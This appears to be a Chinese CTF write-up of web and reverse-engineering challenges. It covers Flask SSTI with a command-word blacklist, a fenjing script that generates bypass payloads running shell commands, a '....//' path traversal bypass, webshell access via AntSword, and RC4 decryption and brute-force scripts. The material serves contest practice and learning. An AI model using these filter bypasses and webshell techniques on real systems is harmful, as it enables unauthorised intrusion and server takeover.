第十八届信息安全大赛 && 第二届长城杯 - web&re wp
字数 809 2025-08-22 12:22:30

Web安全与逆向工程实战教学:从SSTI注入到RC4解密

1. Web安全挑战:SSTI无回显注入

1.1 漏洞分析

目标应用是一个Flask代理服务器,存在服务器端模板注入(SSTI)漏洞:

@app.route('/', methods=["POST"])
def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    print(result)
    return 'ok' if result is not None else 'error'

关键点:

  • 直接使用render_template_string渲染用户输入
  • 黑名单过滤不完善,存在绕过可能
  • 无回显输出,需要特殊技术获取执行结果

1.2 绕过WAF的技术

使用fenjing工具生成绕过黑名单的payload:

from fenjing import exec_cmd_payload, config_payload
import logging

logging.basicConfig(level = logging.INFO)

def waf(s: str):
    dangerous_patterns = ['import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for pattern in dangerous_patterns:
        if pattern in s:
            return False
    return True

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "cat /flag>>app.py")
    print(shell_payload)

1.3 文件读取技巧

目标过滤了../路径遍历,使用双写绕过:

  • 原始路径:../../file
  • 绕过方式:....//....//file

1.4 获取WebShell

通过解码获取一句话木马密码:

  1. 解码Base64得到PHP代码
  2. 分析变量构造逻辑
  3. 使用蚁剑连接获取服务器权限

2. 逆向工程挑战:RC4加密分析

2.1 逆向分析工具

使用M-CORE处理器支持的IDA Pro插件:

  • 项目地址:MotoFanRu/M-CORE_IDA-Pro
  • 功能:提供M·CORE处理器的反汇编支持

2.2 关键加密逻辑

从IDA中提取的关键信息:

  1. RC4密钥:"testkey"
  2. 加密数据:
    .rodata:00008AA0 dword_8AA0: .long 0x8B88F96
    .rodata:00008AA4             .long 0x4468A75D
    .rodata:00008AA8             .long 0x649264F2
    // ... 更多数据
    

2.3 解密脚本

完整解密流程包括:

  1. RC4解密
  2. 异或运算逆向
def rc4(key, data):
    S = list(range(256))
    j = 0
    key_length = len(key)
    
    # Key-scheduling algorithm
    for i in range(256):
        j = (j + S[i] + key[i % key_length]) % 256
        S[i], S[j] = S[j], S[i]
    
    # Pseudo-random generation algorithm
    i = j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        result.append(byte ^ K)
    return bytes(result)

def unxor(data):
    data = bytearray(data)
    for i in range(len(data) - 1, 0, -1):
        data[i - 1] ^= data[i]
    return bytes(data)

2.4 动态调试技巧

通过输入测试发现:

  • 程序对输入进行单字节加密
  • 输出与加密数据直接相关
  • 可构造爆破脚本逐字符破解

爆破脚本示例:

import subprocess
from string import printable

ENCRYPTED_VALUES = [35,41,30,36,56,14,21,32,55,14,5,32,0,14,55,18,29,15,36,1,1,57]

def brute_force_flag(start_flag='flag{', start_index=5, max_length=22):
    flag = start_flag
    for idx in range(start_index, max_length):
        for char in printable:
            output = subprocess.run(['re.exe', flag + char], 
                                  capture_output=True, text=True).stdout.strip()
            try:
                if int(output[idx*2:idx*2+2], 16) == ENCRYPTED_VALUES[idx]:
                    flag += char
                    print(f"字符 '{char}' 匹配成功,当前 flag: {flag}")
                    break
            except (IndexError, ValueError):
                continue
        else:
            print(f"无法找到索引 {idx} 处的匹配字符,终止破解。")
            break
    return flag

3. 关键知识点总结

  1. SSTI注入绕过

    • 黑名单过滤的局限性
    • 无回显情况下的利用技术(写文件、内存马)
    • 自动化payload生成工具的使用
  2. 逆向工程技巧

    • 识别加密算法(RC4)
    • 从二进制中提取密钥和密文
    • 动态调试与静态分析结合
  3. 爆破技术

    • 单字节加密的逐字符破解
    • 自动化测试脚本编写
    • 处理程序输出的技巧
  4. Web安全进阶

    • 路径遍历过滤的绕过
    • 一句话木马的构造与利用
    • 服务器权限维持技术
Web安全与逆向工程实战教学:从SSTI注入到RC4解密 1. Web安全挑战:SSTI无回显注入 1.1 漏洞分析 目标应用是一个Flask代理服务器,存在服务器端模板注入(SSTI)漏洞: 关键点: 直接使用 render_template_string 渲染用户输入 黑名单过滤不完善,存在绕过可能 无回显输出,需要特殊技术获取执行结果 1.2 绕过WAF的技术 使用 fenjing 工具生成绕过黑名单的payload: 1.3 文件读取技巧 目标过滤了 ../ 路径遍历,使用双写绕过: 原始路径: ../../file 绕过方式: ....//....//file 1.4 获取WebShell 通过解码获取一句话木马密码: 解码Base64得到PHP代码 分析变量构造逻辑 使用蚁剑连接获取服务器权限 2. 逆向工程挑战:RC4加密分析 2.1 逆向分析工具 使用M-CORE处理器支持的IDA Pro插件: 项目地址:MotoFanRu/M-CORE_ IDA-Pro 功能:提供M·CORE处理器的反汇编支持 2.2 关键加密逻辑 从IDA中提取的关键信息: RC4密钥: "testkey" 加密数据: 2.3 解密脚本 完整解密流程包括: RC4解密 异或运算逆向 2.4 动态调试技巧 通过输入测试发现: 程序对输入进行单字节加密 输出与加密数据直接相关 可构造爆破脚本逐字符破解 爆破脚本示例: 3. 关键知识点总结 SSTI注入绕过 : 黑名单过滤的局限性 无回显情况下的利用技术(写文件、内存马) 自动化payload生成工具的使用 逆向工程技巧 : 识别加密算法(RC4) 从二进制中提取密钥和密文 动态调试与静态分析结合 爆破技术 : 单字节加密的逐字符破解 自动化测试脚本编写 处理程序输出的技巧 Web安全进阶 : 路径遍历过滤的绕过 一句话木马的构造与利用 服务器权限维持技术